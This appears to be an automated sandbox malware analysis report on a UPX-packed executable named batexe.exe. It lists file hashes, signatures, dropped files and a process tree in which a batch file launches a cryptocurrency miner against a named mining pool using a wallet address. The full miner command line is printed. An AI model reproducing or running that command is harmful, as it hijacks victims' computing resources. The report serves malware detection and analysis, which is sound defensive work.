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Analysis

  • max time kernel
    295s
  • max time network
    301s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    23/02/2024, 20:49

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Users\Admin\AppData\Local\Temp\99BF.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\99BF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\99BF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\99BF.tmp\b2e.exe

    Filesize

    1.4MB

    MD5

    c5e09858066f182b7f5bdcb61d9b36fc

    SHA1

    7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

    SHA256

    b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

    SHA512

    70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

  • C:\Users\Admin\AppData\Local\Temp\99BF.tmp\b2e.exe

    Filesize

    256KB

    MD5

    18c91665349cf71648d4af5d21843ea9

    SHA1

    6be582f8587a42e96d73bf174cb6d6345761c192

    SHA256

    979d6a944f61f2cde2dea724ce5e0297005602c15fbbbcb917540ec1b1f3f937

    SHA512

    544d110b9bde470b9411a91f9195bf5e6914c1e5c59ec4485be08acaecd0e519d1c932181cf5a76d5241dedc362beb56f2fb407d808d554e43d408b34a621d48

  • C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    936KB

    MD5

    28fcaf4cf15d5e0a390053c616507e93

    SHA1

    333af2b6789e200f228b2cc30c2c3ff574d73ba7

    SHA256

    2636c755be8f8b76f27cccebe63e511b65e8115c850663cfadfcf142c75c60a5

    SHA512

    a0bffb1e9a612d2010afd6514907dbc3462731978e1a86f958a645edb3acabb072b7d8a96910bd57d9379acfc1e20ef07ba77ceb2b96841c884add6b605ce5d0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.5MB

    MD5

    4c34295812720534fe756fdaa461974a

    SHA1

    8193ebd5d1564f2eaaa3d44dcf2322d7f6934510

    SHA256

    ee402c453009493391fe1b52d24ab316dbe61e5b5736143da720e225a681639a

    SHA512

    5a46a43ca8eb26bcc2aefaaad481cde516272b5b8c2e9ea39b1514cc4801a71818d5e20ea63bb0104c572b02b8eed1afedb0860440c13c76afbaee14a50eba16

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    688KB

    MD5

    ecc66ad1e4654ca82bac2e31a98e8fac

    SHA1

    d3f59841c3a85f1757330d4d747fed829565a183

    SHA256

    d0fe00282459a1156e1646e98ebe1382bfa6a7e88012b67dcde7e7f5b711f996

    SHA512

    cb9a503448c8b5a303ccaf749113d5ccce96de9aa38b889a8bec17454da1f57b1db879f50389d45a34968a13d8a8e1b62b670d4e9180c3475e5b80db24ad6bf2

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.1MB

    MD5

    effece008ceeadd157267e11450d5f53

    SHA1

    7895bdf38bc87fbe83023d07b37a261e9e55364b

    SHA256

    95ff7237fc2459a9e3b32b28bfcc59bfa92d479b754021369e65ba9d04bff075

    SHA512

    e4f00f9cc90ea1a8da89561cca7a609e1a42f18a2af73e39ae2e3df435fcb9481453c219b34af101b61b38ea311250092ffbfdddf8349851c30bb89df4120f35

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    983KB

    MD5

    228ed65f10749a6edea77c2f33c65587

    SHA1

    dbd809328a75fda2089ff14f57751670491329a6

    SHA256

    8a2e614e6de406a5268d5fc8b471f5d4166a66352c7ffd905920adffdd226da5

    SHA512

    82ddc576101fc3f2ca7608057c43501b66321f42b8163cbc62c388771adca14813f3d626ea894a7a36e11e2a8304e20ad766a07d1b5bbad6877e21470eb09fb6

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.0MB

    MD5

    54b24c3132cadabde406b209866e4652

    SHA1

    07f7065a2289b64d15629bc40a35ac08ecaba30e

    SHA256

    a6daa22f68d20ca7e294fd3b2782be9ba56205187e4614160641f3f47e30aa22

    SHA512

    c0b8e4bcd89f7048c8a9e64747125df1d3d06d0a0b58c1cc554545e2c496468ddba085e5b62729523263fe042939aadaff251ba39d5badb4f4db7351079610c7

  • memory/4328-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4996-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4996-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5016-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-42-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5016-43-0x00000000724C0000-0x0000000072558000-memory.dmp

    Filesize

    608KB

  • memory/5016-44-0x00000000010E0000-0x0000000002995000-memory.dmp

    Filesize

    24.7MB

  • memory/5016-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5016-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5016-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB